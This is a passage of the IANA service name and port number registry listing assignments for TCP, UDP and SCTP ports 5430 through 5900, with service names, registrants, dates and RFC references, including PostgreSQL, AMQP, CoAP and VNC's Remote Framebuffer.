radec-corp 5430 tcp RADEC CORP [David_Chell] [David_Chell]
radec-corp 5430 udp RADEC CORP [David_Chell] [David_Chell]
park-agent 5431 tcp PARK AGENT [John_Clifford] [John_Clifford]
park-agent 5431 udp PARK AGENT [John_Clifford] [John_Clifford]
postgresql 5432 tcp PostgreSQL Database [Tom_Lane] [Tom_Lane]
postgresql 5432 udp PostgreSQL Database [Tom_Lane] [Tom_Lane]
pyrrho 5433 tcp Pyrrho DBMS [Malcolm_Crowe] [Malcolm_Crowe] 2005-11
pyrrho 5433 udp Pyrrho DBMS [Malcolm_Crowe] [Malcolm_Crowe] 2005-11
sgi-arrayd 5434 tcp SGI Array Services Daemon [Karl_Feind] [Karl_Feind] 2005-10
sgi-arrayd 5434 udp SGI Array Services Daemon [Karl_Feind] [Karl_Feind] 2005-10
sceanics 5435 tcp SCEANICS situation and [Richard_Olsen] [Richard_Olsen]
action notification
sceanics 5435 udp SCEANICS situation and [Richard_Olsen] [Richard_Olsen]
action notification
5436 tcp Reserved
pmip6-cntl 5436 udp pmip6-cntl [RFC5844]
5437 tcp Reserved
pmip6-data 5437 udp pmip6-data [RFC5844]
5438-5442 Unassigned
spss 5443 tcp Pearson HTTPS [Pearson] [Pearson] 2008-01-17
spss 5443 udp Pearson HTTPS [Pearson] [Pearson] 2008-01-17
Known
5444 Unassigned UNAUTHORIZED
USE: Port
5444
smbdirect 5445 tcp Server Message Block over [Microsoft_Corporation_2] [Tom_Talpey] 2012-03-15
Remote Direct Memory Access
5445 udp Reserved
smbdirect 5445 sctp Server Message Block over [Microsoft_Corporation_2] [Tom_Talpey] 2012-03-15
Remote Direct Memory Access
5446-5449 Unassigned
tiepie 5450 tcp TiePie engineering data [TiePie_engineering] [Reinder_Feenstra] 2016-04-01
acquisition
tiepie-disc 5450 udp TiePie engineering data [TiePie_engineering] [Reinder_Feenstra] 2016-04-01
acquisition (discovery)
5451-5452 Unassigned
surebox 5453 tcp SureBox [Emin_BORU] [Emin_BORU] 2004-11
surebox 5453 udp SureBox [Emin_BORU] [Emin_BORU] 2004-11
apc-5454 5454 tcp APC 5454 [American_Power_Conve] [American_Power_Conve]
apc-5454 5454 udp APC 5454 [American_Power_Conve] [American_Power_Conve]
apc-5455 5455 tcp APC 5455 [American_Power_Conve] [American_Power_Conve]
apc-5455 5455 udp APC 5455 [American_Power_Conve] [American_Power_Conve]
apc-5456 5456 tcp APC 5456 [American_Power_Conve] [American_Power_Conve]
apc-5456 5456 udp APC 5456 [American_Power_Conve] [American_Power_Conve]
5457-5460 Unassigned
silkmeter 5461 tcp SILKMETER [Klaus_Fellner] [Klaus_Fellner]
silkmeter 5461 udp SILKMETER [Klaus_Fellner] [Klaus_Fellner]
ttl-publisher 5462 tcp TTL Publisher [Peter_Jacobs] [Peter_Jacobs]
ttl-publisher 5462 udp TTL Publisher [Peter_Jacobs] [Peter_Jacobs]
ttlpriceproxy 5463 tcp TTL Price Proxy [Peter_Jacobs] [Peter_Jacobs]
ttlpriceproxy 5463 udp TTL Price Proxy [Peter_Jacobs] [Peter_Jacobs]
quailnet 5464 tcp Quail Networks Object Broker [Craig_N_Bissell] [Craig_N_Bissell] 2006-04
quailnet 5464 udp Quail Networks Object Broker [Craig_N_Bissell] [Craig_N_Bissell] 2006-04
netops-broker 5465 tcp NETOPS-BROKER [John_R_Deuel] [John_R_Deuel]
netops-broker 5465 udp NETOPS-BROKER [John_R_Deuel] [John_R_Deuel]
5466-5469 Unassigned
The Apsolab company's data
apsolab-col 5470 tcp collection protocol (native [Apsolab_Inc] [Jean-Francois_Gauthier] 2014-11-10
api)
5470 udp Reserved
The Apsolab company's secure
apsolab-cols 5471 tcp data collection protocol [Apsolab_Inc] [Jean-Francois_Gauthier] 2014-11-10
(native api)
5471 udp Reserved
apsolab-tag 5472 tcp The Apsolab company's [Apsolab_Inc] [Jean-Francois_Gauthier] 2014-11-10
dynamic tag protocol
5472 udp Reserved
apsolab-tags 5473 tcp The Apsolab company's secure [Apsolab_Inc] [Jean-Francois_Gauthier] 2014-11-10
dynamic tag protocol
5473 udp Reserved
apsolab-rpc 5474 udp The Apsolab company's status [Apsolab_Inc] [Jean-Francois_Gauthier] 2014-11-10
query protocol
5474 tcp Reserved
apsolab-data 5475 tcp The Apsolab company's data [Apsolab_Inc] [Jean-Francois_Gauthier] 2014-11-10
retrieval protocol
5475 udp Reserved
5476-5499 Unassigned
fcp-addr-srvr1 5500 tcp fcp-addr-srvr1 [Ken_Wittmer] [Ken_Wittmer]
fcp-addr-srvr1 5500 udp fcp-addr-srvr1 [Ken_Wittmer] [Ken_Wittmer]
fcp-addr-srvr2 5501 tcp fcp-addr-srvr2 [Ken_Wittmer] [Ken_Wittmer]
fcp-addr-srvr2 5501 udp fcp-addr-srvr2 [Ken_Wittmer] [Ken_Wittmer]
fcp-srvr-inst1 5502 tcp fcp-srvr-inst1 [Ken_Wittmer] [Ken_Wittmer]
fcp-srvr-inst1 5502 udp fcp-srvr-inst1 [Ken_Wittmer] [Ken_Wittmer]
fcp-srvr-inst2 5503 tcp fcp-srvr-inst2 [Ken_Wittmer] [Ken_Wittmer]
fcp-srvr-inst2 5503 udp fcp-srvr-inst2 [Ken_Wittmer] [Ken_Wittmer]
fcp-cics-gw1 5504 tcp fcp-cics-gw1 [Ken_Wittmer] [Ken_Wittmer]
fcp-cics-gw1 5504 udp fcp-cics-gw1 [Ken_Wittmer] [Ken_Wittmer]
checkoutdb 5505 tcp Checkout Database [Dirk_Stoop] [Dirk_Stoop] 2007-04
checkoutdb 5505 udp Checkout Database [Dirk_Stoop] [Dirk_Stoop] 2007-04
amc 5506 tcp Amcom Mobile Connect [Aaron_Fracht_Monroe] [Aaron_Fracht_Monroe] 2010-06-03
amc 5506 udp Amcom Mobile Connect [Aaron_Fracht_Monroe] [Aaron_Fracht_Monroe] 2010-06-03
psl-management 5507 tcp PowerSysLab Electrical [PowerSysLab] [Lucas_Lorensi] 2015-07-20
Management
5507 udp Reserved
5508-5549 Unassigned
cbus 5550 tcp Model Railway control using [MERG] [Pete_Brownlow] 2017-01-03
the CBUS message protocol
5550 udp Reserved
5551-5552 Unassigned
sgi-eventmond 5553 tcp SGI Eventmond Port [Andrei_Vilkotski] [Andrei_Vilkotski] 2003-06
sgi-eventmond 5553 udp SGI Eventmond Port [Andrei_Vilkotski] [Andrei_Vilkotski] 2003-06
sgi-esphttp 5554 tcp SGI ESP HTTP [Vladimir_Legalov] [Vladimir_Legalov]
sgi-esphttp 5554 udp SGI ESP HTTP [Vladimir_Legalov] [Vladimir_Legalov]
Known
personal-agent 5555 tcp Personal Agent [Jackie_Wu] [Jackie_Wu] UNAUTHORIZED
USEs on port
5555
Known
personal-agent 5555 udp Personal Agent [Jackie_Wu] [Jackie_Wu] UNAUTHORIZED
USEs on port
5555
Known
freeciv 5556 tcp Freeciv gameplay [Reinier_Post_and_Pau] [Reinier_Post_and_Pau] 2006-01 Unauthorized
Use on port
5556
Known
freeciv 5556 udp Freeciv gameplay [Reinier_Post_and_Pau] [Reinier_Post_and_Pau] 2006-01 Unauthorized
Use on port
5556
farenet 5557 tcp Sandlab FARENET [Kay_T_Labinsky] [Kay_T_Labinsky] 2010-05-03
5557 udp Reserved
5558-5564 Unassigned
hpe-dp-bura 5565 tcp HPE Advanced BURA [Hewlett_Packard_Enterprise] [Silvia_Veronese] 2016-01-13
5565 udp Reserved
westec-connect 5566 tcp Westec Connect [Jon_Bolen] [Jon_Bolen] 2009-03-18
5566 udp Reserved
dof-dps-mc-sec 5567 tcp DOF Protocol Stack [OpenDOF] [Bryant_Eastham] 2004-11 2015-04-23
Multicast/Secure Transport
dof-dps-mc-sec 5567 udp DOF Protocol Stack [OpenDOF] [Bryant_Eastham] 2004-11 2015-04-23
Multicast/Secure Transport
sdt 5568 tcp Session Data Transport [Daniel_W_Antonuk] [Daniel_W_Antonuk] 2006-05
Multicast
sdt 5568 udp Session Data Transport [Daniel_W_Antonuk] [Daniel_W_Antonuk] 2006-05
Multicast
PLASA E1.33, Remote Device
rdmnet-ctrl 5569 tcp Management (RDM) controller [PLASA] [Simon_Newton] 2012-06-01
status notifications
rdmnet-device 5569 udp PLASA E1.33, Remote Device [PLASA] [Simon_Newton] 2012-06-01
Management (RDM) messages
Known
5570-5572 Unassigned UNAUTHORIZED
USE on Port
5570
sdmmp 5573 tcp SAS Domain Management [Ron_Zuckerman] [Ron_Zuckerman] 2007-08-30
Messaging Protocol
sdmmp 5573 udp SAS Domain Management [Ron_Zuckerman] [Ron_Zuckerman] 2007-08-30
Messaging Protocol
lsi-bobcat 5574 tcp SAS IO Forwarding [Mandar_Joshi] [Mandar_Joshi] 2009-02-09
5574 udp Reserved
ora-oap 5575 tcp Oracle Access Protocol [Peter_Povinec] [Peter_Povinec] 2010-04-13
5575 udp Reserved
5576-5578 Unassigned
fdtracks 5579 tcp FleetDisplay Tracking [Henrik_Woffinden] [Henrik_Woffinden] 2008-09-22
Service
5579 udp Reserved
tmosms0 5580 tcp T-Mobile SMS Protocol [Ezinne_Oji] [Ezinne_Oji] 2006-06
Message 0
tmosms0 5580 udp T-Mobile SMS Protocol [Ezinne_Oji] [Ezinne_Oji] 2006-06
Message 0
tmosms1 5581 tcp T-Mobile SMS Protocol [Ezinne_Oji] [Ezinne_Oji] 2006-06
Message 1
tmosms1 5581 udp T-Mobile SMS Protocol [Ezinne_Oji] [Ezinne_Oji] 2006-06
Message 1
fac-restore 5582 tcp T-Mobile SMS Protocol [Jessica_Yan] [Jessica_Yan] 2008-02-19
Message 3
fac-restore 5582 udp T-Mobile SMS Protocol [Jessica_Yan] [Jessica_Yan] 2008-02-19
Message 3
tmo-icon-sync 5583 tcp T-Mobile SMS Protocol [Donghwan_Lim] [Donghwan_Lim] 2008-01-22
Message 2
tmo-icon-sync 5583 udp T-Mobile SMS Protocol [Donghwan_Lim] [Donghwan_Lim] 2008-01-22
Message 2
bis-web 5584 tcp BeInSync-Web [Adi_Ruppin] [Adi_Ruppin] 2005-08
bis-web 5584 udp BeInSync-Web [Adi_Ruppin] [Adi_Ruppin] 2005-08
bis-sync 5585 tcp BeInSync-sync [Adi_Ruppin] [Adi_Ruppin] 2005-08
bis-sync 5585 udp BeInSync-sync [Adi_Ruppin] [Adi_Ruppin] 2005-08
Planning to send mobile
terminated SMS to the
att-mt-sms 5586 tcp specific port so that the [ATT] [Dhillesh_Sigilipelli] 2014-08-21
SMS is not visible to the
client
5586 udp Reserved
5587-5596 Unassigned
ininmessaging 5597 tcp inin secure messaging [Mike_Gagle_2] [Mike_Gagle_2] 2006-05
ininmessaging 5597 udp inin secure messaging [Mike_Gagle_2] [Mike_Gagle_2] 2006-05
mctfeed 5598 tcp MCT Market Data Feed [Stephane_Touizer] [Stephane_Touizer] 2006-05
mctfeed 5598 udp MCT Market Data Feed [Stephane_Touizer] [Stephane_Touizer] 2006-05
esinstall 5599 tcp Enterprise Security Remote [Kimberly_Gibbs] [Kimberly_Gibbs]
Install
esinstall 5599 udp Enterprise Security Remote [Kimberly_Gibbs] [Kimberly_Gibbs]
Install
esmmanager 5600 tcp Enterprise Security Manager [Kimberly_Gibbs] [Kimberly_Gibbs]
esmmanager 5600 udp Enterprise Security Manager [Kimberly_Gibbs] [Kimberly_Gibbs]
esmagent 5601 tcp Enterprise Security Agent [Kimberly_Gibbs] [Kimberly_Gibbs]
esmagent 5601 udp Enterprise Security Agent [Kimberly_Gibbs] [Kimberly_Gibbs]
a1-msc 5602 tcp A1-MSC [Mike_Dolan] [Mike_Dolan]
a1-msc 5602 udp A1-MSC [Mike_Dolan] [Mike_Dolan]
a1-bs 5603 tcp A1-BS [Mike_Dolan] [Mike_Dolan]
a1-bs 5603 udp A1-BS [Mike_Dolan] [Mike_Dolan]
a3-sdunode 5604 tcp A3-SDUNode [Mike_Dolan] [Mike_Dolan]
a3-sdunode 5604 udp A3-SDUNode [Mike_Dolan] [Mike_Dolan]
a4-sdunode 5605 tcp A4-SDUNode [Mike_Dolan] [Mike_Dolan]
a4-sdunode 5605 udp A4-SDUNode [Mike_Dolan] [Mike_Dolan]
5606-5617 Unassigned
efr 5618 tcp Fiscal Registering Protocol [efsta] [Alois_Reisinger] 2013-08-13
5618 udp Reserved
5619-5626 Unassigned
ninaf 5627 tcp Node Initiated Network [Thomas_Scholl] [Thomas_Scholl] 2006-03
Association Forma
ninaf 5627 udp Node Initiated Network [Thomas_Scholl] [Thomas_Scholl] 2006-03
Association Forma
htrust 5628 tcp HTrust API [Karl_Olafsson] [Karl_Olafsson] 2008-10-24
htrust 5628 udp HTrust API [Karl_Olafsson] [Karl_Olafsson] 2008-10-24
symantec-sfdb 5629 tcp Symantec Storage Foundation [Quang_Thoi] [Quang_Thoi] 2006-11
for Database
symantec-sfdb 5629 udp Symantec Storage Foundation [Quang_Thoi] [Quang_Thoi] 2006-11
for Database
precise-comm 5630 tcp PreciseCommunication [Alon_Tamir] [Alon_Tamir] 2006-04
precise-comm 5630 udp PreciseCommunication [Alon_Tamir] [Alon_Tamir] 2006-04
pcanywheredata 5631 tcp pcANYWHEREdata [Jon_Rosarky] [Jon_Rosarky]
pcanywheredata 5631 udp pcANYWHEREdata [Jon_Rosarky] [Jon_Rosarky]
pcanywherestat 5632 tcp pcANYWHEREstat [Jon_Rosarky] [Jon_Rosarky]
pcanywherestat 5632 udp pcANYWHEREstat [Jon_Rosarky] [Jon_Rosarky]
beorl 5633 tcp BE Operations Request [Chirag_Desai] [Chirag_Desai] 2006-02
Listener
beorl 5633 udp BE Operations Request [Chirag_Desai] [Chirag_Desai] 2006-02
Listener
xprtld 5634 tcp SF Message Service [VR_Satish] [VR_Satish] 2007-08-16
xprtld 5634 udp SF Message Service [VR_Satish] [VR_Satish] 2007-08-16
sfmsso 5635 tcp SFM Authentication Subsystem [De_Chih_Chien] [De_Chih_Chien] 2008-09-15
5635 udp Reserved
sfm-db-server 5636 tcp SFMdb - SFM DB server [De_Chih_Chien] [De_Chih_Chien] 2008-10-06
5636 udp Reserved
cssc 5637 tcp Symantec CSSC [Amol_P_Tambe] [Amol_P_Tambe] 2011-02-02
5637 udp Reserved
Symantec Fingerprint Lookup
flcrs 5638 tcp and Container Reference [Symantec_Corp] [Neel_A_Bhatt] 2012-01-03
Service
5638 udp Reserved
ics 5639 tcp Symantec Integrity Checking [Symantec_Corp2] [Danzhou_Liu] 2012-05-07
Service
5639 udp Reserved
5640-5645 Unassigned
vfmobile 5646 tcp Ventureforth Mobile [Ventureforth_Inc] [Blakely_Snyder] 2011-11-03
5646 udp Reserved
5647-5665 Unassigned
nrpe 5666 tcp Nagios Remote Plugin [Nagios_Enterprises_LLC] [Bryan_Heden] 2017-09-06
Executor
5666 udp Reserved
5667-5669 Unassigned
filemq 5670 tcp ZeroMQ file [Pieter_Hintjens2] [Pieter_Hintjens2] 2012-11-01 2013-02-25
publish-subscribe protocol
zre-disc 5670 udp Local area discovery and [Pieter_Hintjens_3] [Pieter_Hintjens_3] 2012-12-17
messaging over ZeroMQ
amqps 5671 tcp amqp protocol over TLS/SSL [Ted_Ross_2] [Ted_Ross_2] 2008-03-26
amqps 5671 udp amqp protocol over TLS/SSL [Ted_Ross_2] [Ted_Ross_2] 2008-03-26
amqp 5672 tcp AMQP [Pieter_Hintjens] [Pieter_Hintjens] 2006-01
amqp 5672 udp AMQP [Pieter_Hintjens] [Pieter_Hintjens] 2006-01
amqp 5672 sctp AMQP [Martin_Sustrik] [Martin_Sustrik] 2007-03
jms 5673 tcp JACL Message Server [Stuart_Allen] [Stuart_Allen] 2002-02
jms 5673 udp JACL Message Server [Stuart_Allen] [Stuart_Allen] 2002-02
hyperscsi-port 5674 tcp HyperSCSI Port [Data_Storage_Institu] [Data_Storage_Institu] 2002-02
hyperscsi-port 5674 udp HyperSCSI Port [Data_Storage_Institu] [Data_Storage_Institu] 2002-02
v5ua 5675 tcp V5UA application port [RFC3807]
v5ua 5675 udp V5UA application port [RFC3807]
v5ua 5675 sctp V5UA application port [RFC3807]
raadmin 5676 tcp RA Administration [Sergei_Zjaikin] [Sergei_Zjaikin] 2002-02
raadmin 5676 udp RA Administration [Sergei_Zjaikin] [Sergei_Zjaikin] 2002-02
questdb2-lnchr 5677 tcp Quest Central DB2 Launchr [Robert_M_Mackowiak] [Robert_M_Mackowiak] 2002-02
questdb2-lnchr 5677 udp Quest Central DB2 Launchr [Robert_M_Mackowiak] [Robert_M_Mackowiak] 2002-02
rrac 5678 tcp Remote Replication Agent
Connection
rrac 5678 udp Remote Replication Agent
Connection
dccm 5679 tcp Direct Cable Connect Manager [Mark_Miller_2] [Mark_Miller_2]
dccm 5679 udp Direct Cable Connect Manager [Mark_Miller_2] [Mark_Miller_2]
auriga-router 5680 tcp Auriga Router Service [Vincent_Gaudeul] [Vincent_Gaudeul] 2006-02
auriga-router 5680 udp Auriga Router Service [Vincent_Gaudeul] [Vincent_Gaudeul] 2006-02
ncxcp 5681 tcp Net-coneX Control Protocol [Ryan_Werber] [Ryan_Werber] 2006-06
ncxcp 5681 udp Net-coneX Control Protocol [Ryan_Werber] [Ryan_Werber] 2006-06
5682 tcp Reserved
brightcore 5682 udp BrightCore control & data [Marko_Bjelac] [Marko_Bjelac] 2010-06-10
transfer exchange
coap 5683 tcp Constrained Application [IESG] [IETF_Chair] 2017-12-22 [RFC8323]
Protocol (CoAP)
coap 5683 udp Constrained Application [IESG] [IETF_Chair] 2011-06-13 2013-07-25 [RFC7252]
Protocol
coaps 5684 tcp Constrained Application [IESG] [IETF_Chair] 2017-12-22 [RFC7301][RFC8323]
Protocol (CoAP)
coaps 5684 udp DTLS-secured CoAP [IESG] [IETF_Chair] 2013-07-25 [RFC7252]
5685-5686 Unassigned
gog-multiplayer 5687 udp GOG multiplayer game [GOG.com] [Michal_Gruchala] 2014-07-31 2014-10-09
protocol
5687 tcp Reserved
ggz 5688 tcp GGZ Gaming Zone [Josef_Spillner] [Josef_Spillner] 2003-01
ggz 5688 udp GGZ Gaming Zone [Josef_Spillner] [Josef_Spillner] 2003-01
qmvideo 5689 tcp QM video network management [Jamie_Lokier] [Jamie_Lokier] 2006-05
protocol
qmvideo 5689 udp QM video network management [Jamie_Lokier] [Jamie_Lokier] 2006-05
protocol
5690-5692 Unassigned
rbsystem 5693 tcp Robert Bosch Data Transfer [Robert_Bosch_GmbH] [Klaus_Warth] 2011-08-01 2012-07-17
5693 udp Reserved
5694-5695 Unassigned
kmip 5696 tcp Key Management [OASIS_KMIP_Technical_Committee] [Robin_Cover] 2011-07-25
Interoperability Protocol
5696 udp Reserved
5697-5699 Unassigned
supportassist 5700 tcp Dell SupportAssist data [Dell_Technologies] [Rohitdev_Kulshrestha] 2016-07-05
center management
5700 udp Reserved
5701-5704 Unassigned
storageos 5705 tcp StorageOS REST API [StorageOS] [Simon_Croome] 2017-03-03
5705 udp Reserved
5706-5712 Unassigned
proshareaudio 5713 tcp proshare conf audio [gunner] [gunner]
proshareaudio 5713 udp proshare conf audio [gunner] [gunner]
prosharevideo 5714 tcp proshare conf video [gunner] [gunner]
prosharevideo 5714 udp proshare conf video [gunner] [gunner]
prosharedata 5715 tcp proshare conf data [gunner] [gunner]
prosharedata 5715 udp proshare conf data [gunner] [gunner]
prosharerequest 5716 tcp proshare conf request [gunner] [gunner]
prosharerequest 5716 udp proshare conf request [gunner] [gunner]
prosharenotify 5717 tcp proshare conf notify [gunner] [gunner]
prosharenotify 5717 udp proshare conf notify
dpm 5718 tcp DPM Communication Server [Sundar_Srinivasan][Vinay_Badami] [Sundar_Srinivasan][Vinay_Badami]
dpm 5718 udp DPM Communication Server [Sundar_Srinivasan][Vinay_Badami] [Sundar_Srinivasan][Vinay_Badami]
dpm-agent 5719 tcp DPM Agent Coordinator [Sundar_Srinivasan][Vinay_Badami] [Sundar_Srinivasan][Vinay_Badami] 2006-05
dpm-agent 5719 udp DPM Agent Coordinator [Sundar_Srinivasan][Vinay_Badami] [Sundar_Srinivasan][Vinay_Badami] 2006-05
ms-licensing 5720 tcp MS-Licensing [Thomas_Lindeman] [Thomas_Lindeman] 2002-11
ms-licensing 5720 udp MS-Licensing [Thomas_Lindeman] [Thomas_Lindeman] 2002-11
dtpt 5721 tcp Desktop Passthru Service [Dan_Leising] [Dan_Leising] 2005-01
dtpt 5721 udp Desktop Passthru Service [Dan_Leising] [Dan_Leising] 2005-01
msdfsr 5722 tcp Microsoft DFS Replication [Guhan_Suriyanarayana] [Guhan_Suriyanarayana] 2006-03
Service
msdfsr 5722 udp Microsoft DFS Replication [Guhan_Suriyanarayana] [Guhan_Suriyanarayana] 2006-03
Service
omhs 5723 tcp Operations Manager - Health [Gerardo_Dilillo] [Gerardo_Dilillo] 2006-08
Service
omhs 5723 udp Operations Manager - Health [Gerardo_Dilillo] [Gerardo_Dilillo] 2006-08
Service
omsdk 5724 tcp Operations Manager - SDK [Gerardo_Dilillo] [Gerardo_Dilillo] 2006-08
Service
omsdk 5724 udp Operations Manager - SDK [Gerardo_Dilillo] [Gerardo_Dilillo] 2006-08
Service
ms-ilm 5725 tcp Microsoft Identity Lifecycle [Rob_Ward] [Rob_Ward]
Manager
5725 udp Reserved 2008-05-02
ms-ilm-sts 5726 tcp Microsoft Lifecycle Manager [Rob_Ward] [Rob_Ward]
Secure Token Service
5726 udp Reserved 2008-05-02
asgenf 5727 tcp ASG Event Notification [Arman_Bedonian] [Arman_Bedonian] 2009-07-15
Framework
5727 udp Reserved
io-dist-data 5728 tcp Dist. I/O Comm. Service Data [Harish_Kuttan] [Harish_Kuttan] 2010-03-22
and Control
io-dist-group 5728 udp Dist. I/O Comm. Service [Harish_Kuttan] [Harish_Kuttan] 2010-03-22
Group Membership
openmail 5729 tcp Openmail User Agent Layer [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
openmail 5729 udp Openmail User Agent Layer [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
unieng 5730 tcp Steltor's calendar access [Bernard_Desruisseaux] [Bernard_Desruisseaux]
unieng 5730 udp Steltor's calendar access [Bernard_Desruisseaux] [Bernard_Desruisseaux]
5731-5740 Unassigned
ida-discover1 5741 tcp IDA Discover Port 1 [MPITech_Support] [MPITech_Support]
ida-discover1 5741 udp IDA Discover Port 1 [MPITech_Support] [MPITech_Support]
ida-discover2 5742 tcp IDA Discover Port 2 [MPITech_Support] [MPITech_Support]
ida-discover2 5742 udp IDA Discover Port 2 [MPITech_Support] [MPITech_Support]
watchdoc-pod 5743 tcp Watchdoc NetPOD Protocol [Christophe_Chevalier] [Christophe_Chevalier] 2005-08
watchdoc-pod 5743 udp Watchdoc NetPOD Protocol [Christophe_Chevalier] [Christophe_Chevalier] 2005-08
watchdoc 5744 tcp Watchdoc Server [Christophe_Chevalier] [Christophe_Chevalier] 2004-11
watchdoc 5744 udp Watchdoc Server [Christophe_Chevalier] [Christophe_Chevalier] 2004-11
fcopy-server 5745 tcp fcopy-server [Moshe_Leibovitch] [Moshe_Leibovitch]
fcopy-server 5745 udp fcopy-server [Moshe_Leibovitch] [Moshe_Leibovitch]
fcopys-server 5746 tcp fcopys-server [Moshe_Leibovitch] [Moshe_Leibovitch]
fcopys-server 5746 udp fcopys-server [Moshe_Leibovitch] [Moshe_Leibovitch]
tunatic 5747 tcp Wildbits Tunatic [Sylvain_Demongeot] [Sylvain_Demongeot] 2005-08
tunatic 5747 udp Wildbits Tunatic [Sylvain_Demongeot] [Sylvain_Demongeot] 2005-08
tunalyzer 5748 tcp Wildbits Tunalyzer [Sylvain_Demongeot] [Sylvain_Demongeot] 2005-08
tunalyzer 5748 udp Wildbits Tunalyzer [Sylvain_Demongeot] [Sylvain_Demongeot] 2005-08
5749 Unassigned
rscd 5750 tcp Bladelogic Agent Service [Brian_Trevor] [Brian_Trevor] 2008-10-24
rscd 5750 udp Bladelogic Agent Service [Brian_Trevor] [Brian_Trevor] 2008-10-24
5751-5754 Unassigned
openmailg 5755 tcp OpenMail Desk Gateway server [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
openmailg 5755 udp OpenMail Desk Gateway server [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
5756 Unassigned
x500ms 5757 tcp OpenMail X.500 Directory [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
Server
x500ms 5757 udp OpenMail X.500 Directory [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
Server
5758-5765 Unassigned
openmailns 5766 tcp OpenMail NewMail Server [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
openmailns 5766 udp OpenMail NewMail Server [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
s-openmail 5767 tcp OpenMail Suer Agent Layer [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
(Secure)
s-openmail 5767 udp OpenMail Suer Agent Layer [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
(Secure)
openmailpxy 5768 tcp OpenMail CMTS Server [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
openmailpxy 5768 udp OpenMail CMTS Server [OpenMail_Encyclopedi][Don_Loughry] [OpenMail_Encyclopedi][Don_Loughry]
spramsca 5769 tcp x509solutions Internal CA [Brendan_Fay] [Brendan_Fay] 2006-02
spramsca 5769 udp x509solutions Internal CA [Brendan_Fay] [Brendan_Fay] 2006-02
spramsd 5770 tcp x509solutions Secure Data [Brendan_Fay] [Brendan_Fay] 2006-02
spramsd 5770 udp x509solutions Secure Data [Brendan_Fay] [Brendan_Fay] 2006-02
netagent 5771 tcp NetAgent [Bradley_Birnbaum] [Bradley_Birnbaum]
netagent 5771 udp NetAgent [Bradley_Birnbaum] [Bradley_Birnbaum]
5772-5776 Unassigned
dali-port 5777 tcp DALI Port [Wayne_Morrow][Michael_Melio] [Wayne_Morrow][Michael_Melio] 2003-10
dali-port 5777 udp DALI Port [Wayne_Morrow][Michael_Melio] [Wayne_Morrow][Michael_Melio] 2003-10
5778-5779 Unassigned
vts-rpc 5780 tcp Visual Tag System RPC [Graham_Bloice] [Graham_Bloice] 2009-09-17
5780 udp Reserved
3par-evts 5781 tcp 3PAR Event Reporting Service [Sushil_Thomas] [Sushil_Thomas] 2008-03-10
3par-evts 5781 udp 3PAR Event Reporting Service [Sushil_Thomas] [Sushil_Thomas] 2008-03-10
3par-mgmt 5782 tcp 3PAR Management Service [Don_Marselle] [Don_Marselle] 2008-04-09
3par-mgmt 5782 udp 3PAR Management Service [Don_Marselle] [Don_Marselle] 2008-04-09
3par-mgmt-ssl 5783 tcp 3PAR Management Service with [Don_Marselle] [Don_Marselle] 2008-03-19
SSL
3par-mgmt-ssl 5783 udp 3PAR Management Service with [Don_Marselle] [Don_Marselle] 2008-03-19
SSL
5784 tcp Reserved
ibar 5784 udp Cisco Interbox Application [Cullen_Jennings] [Cullen_Jennings] 2010-02-03
Redundancy
3par-rcopy 5785 tcp 3PAR Inform Remote Copy [Don_Marselle] [Don_Marselle] 2010-02-03
3par-rcopy 5785 udp 3PAR Inform Remote Copy [Don_Marselle] [Don_Marselle] 2008-04-09
5786 tcp Reserved
cisco-redu 5786 udp redundancy notification [Ming_Zhang] [Ming_Zhang] 2010-02-04
5787 tcp Reserved
waascluster 5787 udp Cisco WAAS Cluster Protocol [Winston_Chou] [Winston_Chou] 2011-02-08
5788-5792 Unassigned
xtreamx 5793 tcp XtreamX Supervised Peer [Ahmad_Tajuddin_Samsu] [Ahmad_Tajuddin_Samsu] 2007-02
message
xtreamx 5793 udp XtreamX Supervised Peer [Ahmad_Tajuddin_Samsu] [Ahmad_Tajuddin_Samsu] 2007-02
message
5794 tcp Reserved
spdp 5794 udp Simple Peered Discovery [Dave_Lindquist] [Dave_Lindquist] 2010-05-27
Protocol
5795-5812 Unassigned
icmpd 5813 tcp ICMPD [Shane_O_Donnell] [Shane_O_Donnell]
icmpd 5813 udp ICMPD [Shane_O_Donnell] [Shane_O_Donnell]
spt-automation 5814 tcp Support Automation [Joshua_Hawkins] [Joshua_Hawkins] 2003-11
spt-automation 5814 udp Support Automation [Joshua_Hawkins] [Joshua_Hawkins] 2003-11
5815-5840 Unassigned
Z-firm ShipRush interface
shiprush-d-ch 5841 tcp for web access and [Z-Firm_LLC] [Rafael_Zimberoff] 2014-08-22
bidirectional data
5841 udp Reserved
reversion 5842 tcp Reversion Backup/Restore [Cameo_Systems_Inc] [Craig_Nelson] 2011-09-26
5842 udp Reserved
5843-5858 Unassigned
wherehoo 5859 tcp WHEREHOO [Jim_Youll] [Jim_Youll]
wherehoo 5859 udp WHEREHOO [Jim_Youll] [Jim_Youll]
5860-5862 Unassigned
ppsuitemsg 5863 tcp PlanetPress Suite Messeng [Yannick_Fortin] [Yannick_Fortin] 2006-02
ppsuitemsg 5863 udp PlanetPress Suite Messeng [Yannick_Fortin] [Yannick_Fortin] 2006-02
5864-5867 Unassigned
diameters 5868 tcp Diameter over TLS/TCP [IESG] [IETF_Chair] [RFC6733]
5868 udp Reserved
diameters 5868 sctp Diameter over DTLS/SCTP [IESG] [IETF_Chair] [RFC6733]
5869-5882 Unassigned
jute 5883 tcp Javascript Unit Test [Mark_Ethan_Trostler] [Mark_Ethan_Trostler] 2011-11-23
Environment
5884-5899 Unassigned
rfb 5900 tcp Remote Framebuffer [Tristan_Richardson] [Tristan_Richardson] 2006-03 [RFC6143]
rfb 5900 udp Remote Framebuffer [Tristan_Richardson] [Tristan_Richardson] 2006-03 [RFC6143]
